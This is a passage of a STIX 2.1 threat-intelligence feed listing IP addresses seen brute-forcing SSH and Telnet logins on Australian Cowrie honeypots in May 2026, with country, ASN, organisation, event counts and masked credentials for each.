      "valid_from": "2026-05-20T23:15:33.000Z",
      "valid_until": "2026-06-21T23:15:08.000Z"
    },
    {
      "created": "2026-05-20T23:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LS. ASN(s): 33567. Organisation(s): TELECOM-LESOTHO.",
      "id": "indicator--21bef326-6930-4c62-af73-2d2f38d1fd70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.232.21.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:15:33.000Z",
      "valid_until": "2026-06-21T23:15:08.000Z"
    },
    {
      "created": "2026-05-20T23:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266303. Organisation(s): PROVYNET TELECON LTDA ME.",
      "id": "indicator--9af2d0d6-706e-4856-8fd0-55e70ec55690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.79.175.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:15:33.000Z",
      "valid_until": "2026-06-21T23:15:08.000Z"
    },
    {
      "created": "2026-05-20T23:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--7b545273-41e8-466b-8414-456a7585697b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.34.149.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:15:33.000Z",
      "valid_until": "2026-06-21T23:15:08.000Z"
    },
    {
      "created": "2026-05-20T23:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fc9ccbce-6bdf-40d7-8d80-06bf941f4764",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.72.77.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:15:33.000Z",
      "valid_until": "2026-06-21T23:15:08.000Z"
    },
    {
      "created": "2026-05-20T23:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): f****e, n***x, r**t, t****r. Passwords observed (masked): a*******4, f****e, n******3, t****r.",
      "id": "indicator--a71bbb1e-fb01-4e9e-a750-c0b3615e920d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.239.240.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:15:33.000Z",
      "valid_until": "2026-06-21T23:15:08.000Z"
    },
    {
      "created": "2026-05-20T23:15:33.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--f55fe591-62be-4c8f-bad0-b481caa0ce2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.252.53.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:15:33.000Z",
      "valid_until": "2026-06-21T23:15:08.000Z"
    },
    {
      "created": "2026-05-21T00:16:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--980ac602-357e-4f17-93de-2e35bbe4636d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T00:16:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.49.30.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T00:16:57.000Z",
      "valid_until": "2026-06-22T00:15:08.000Z"
    },
    {
      "created": "2026-05-21T00:16:57.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--64272fe8-b2a4-4d89-a1d4-2c2aa6f20f0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T00:16:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.245.142.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T00:16:57.000Z",
      "valid_until": "2026-06-22T00:15:08.000Z"
    },
    {
      "created": "2026-05-21T00:16:57.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--a8144622-6b09-4a1a-9607-d4d225edfa4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T00:16:57.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T00:16:57.000Z",
      "valid_until": "2026-06-22T00:15:08.000Z"
    },
    {
      "created": "2026-05-21T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--afb74f10-c6e0-47f4-a06d-029b39c70eaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '100.55.66.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:15:10.000Z",
      "valid_until": "2026-06-22T01:15:08.000Z"
    },
    {
      "created": "2026-05-21T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--975c43ca-3efd-4902-a8ae-e3f0f095728f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.40.67.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:15:10.000Z",
      "valid_until": "2026-06-22T01:15:08.000Z"
    },
    {
      "created": "2026-05-21T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--6e8e775b-f13b-48c1-a544-cc3dcac9659f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.198.75.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:15:10.000Z",
      "valid_until": "2026-06-22T01:15:08.000Z"
    },
    {
      "created": "2026-05-21T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 8167. Organisation(s): V tal.",
      "id": "indicator--99d2c436-77b8-40c5-b61a-694b0017b4b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.140.174.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:15:10.000Z",
      "valid_until": "2026-06-22T01:15:08.000Z"
    },
    {
      "created": "2026-05-21T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********3, 3***********4, 3**********4, @******3, a******1.",
      "id": "indicator--e0ae1390-fb81-479a-84df-3cb363e62bc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.111.178.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:15:10.000Z",
      "valid_until": "2026-06-22T01:15:08.000Z"
    },
    {
      "created": "2026-05-21T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 28890. Organisation(s): INSYS LLC.",
      "id": "indicator--3cc04caa-f179-42cb-b2c7-6462e06f8021",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.172.6.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:15:10.000Z",
      "valid_until": "2026-06-22T01:15:08.000Z"
    },
    {
      "created": "2026-05-21T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--47d26292-5e83-47a3-b9b0-15a0991a4ba9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:15:10.000Z",
      "valid_until": "2026-06-22T01:15:08.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--6942a15c-bb7b-4cd3-93b2-358fcc6efcd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.184.241.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--de092e00-09d2-4920-a395-c3f58c365f44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.186.171.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t, w****t. Passwords observed (masked): g******d, w****t.",
      "id": "indicator--828e2443-a0cc-43d3-9c63-312d639abf19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.86.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): s***r, 3**********4, a*****l, n*****n, q*******d. Passwords observed (masked): 3***********4, 3**********4, a*****l, n*****n, q*******d.",
      "id": "indicator--91ffb409-c398-4def-8cd7-2af911d9d513",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.185.24.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--bd9f497d-9a7d-4176-9fd1-79bf5a269825",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.213.118.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 201825. Organisation(s): LLC ER-Telecom Moscow.",
      "id": "indicator--159027ab-9c5e-498e-8c4a-39d21b2f4678",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.127.227.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 28548. Organisation(s): Cablevision, S.A. de C.V.. Usernames observed (masked): r**t, a***n, 3**********4, c***p, c**s. Passwords observed (masked): 1****6, 3***********4, 3**********4, 9****9, 9*****9.",
      "id": "indicator--cb52912a-9610-4c11-9604-248da83a4e4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.77.172.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, a***n, ***, c*******r. Passwords observed (masked): 1****6, 0**1, 3***********4, 3**********4, D******1.",
      "id": "indicator--0f8e03e8-c739-455e-a8d2-708e76b0cd33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.105.129.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JM. ASN(s): 30689. Organisation(s): FLOW.",
      "id": "indicator--e6665693-d6e4-4308-87c7-b0aac806e9eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.10.216.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): g****h, r**t, 3**********4, r****h, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, g****h, r****h.",
      "id": "indicator--6186a899-6ae6-44e4-98ab-6f688e625ce1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.197.186.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, s*****g, 3**********4, **, p*****x. Passwords observed (masked): 1****6, 3***********4, 3**********4, 9****1, D******1.",
      "id": "indicator--7bb20f40-c21f-474e-a3bd-3cfce0fd9ca5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.136.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cd3ec037-6471-4fb0-aab4-47f8c40603cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.245.56.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:15:13.000Z",
      "valid_until": "2026-06-22T02:15:04.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--03238d83-ca07-4001-903f-0e20f0d35b80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.108.27.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135967. Organisation(s): Bach Kim Network solutions Join stock company. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--c69299df-f02a-4fc4-8624-d68bebda9214",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.161.16.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--8614ebca-c90e-485c-9cbc-2f98c758cd8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.74.21.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--13b4b749-7dab-47a1-bcd4-e9f55686e6b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.40.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--7b51d1e4-e0d6-4cae-a0fc-59ed16249437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397423. Organisation(s): Tier.Net Technologies LLC.",
      "id": "indicator--5b5933d9-d04d-47a6-b40d-18e61f5f94e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.154.229.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--4233b3f7-9c71-4b0a-a507-a49bbb5d6797",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.72.124.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:15:10.000Z",
      "valid_until": "2026-06-22T03:15:08.000Z"
    },
    {
      "created": "2026-05-21T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4bc2f410-824a-4734-aa39-c6ff63ac496d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T03:15:10.000Z",
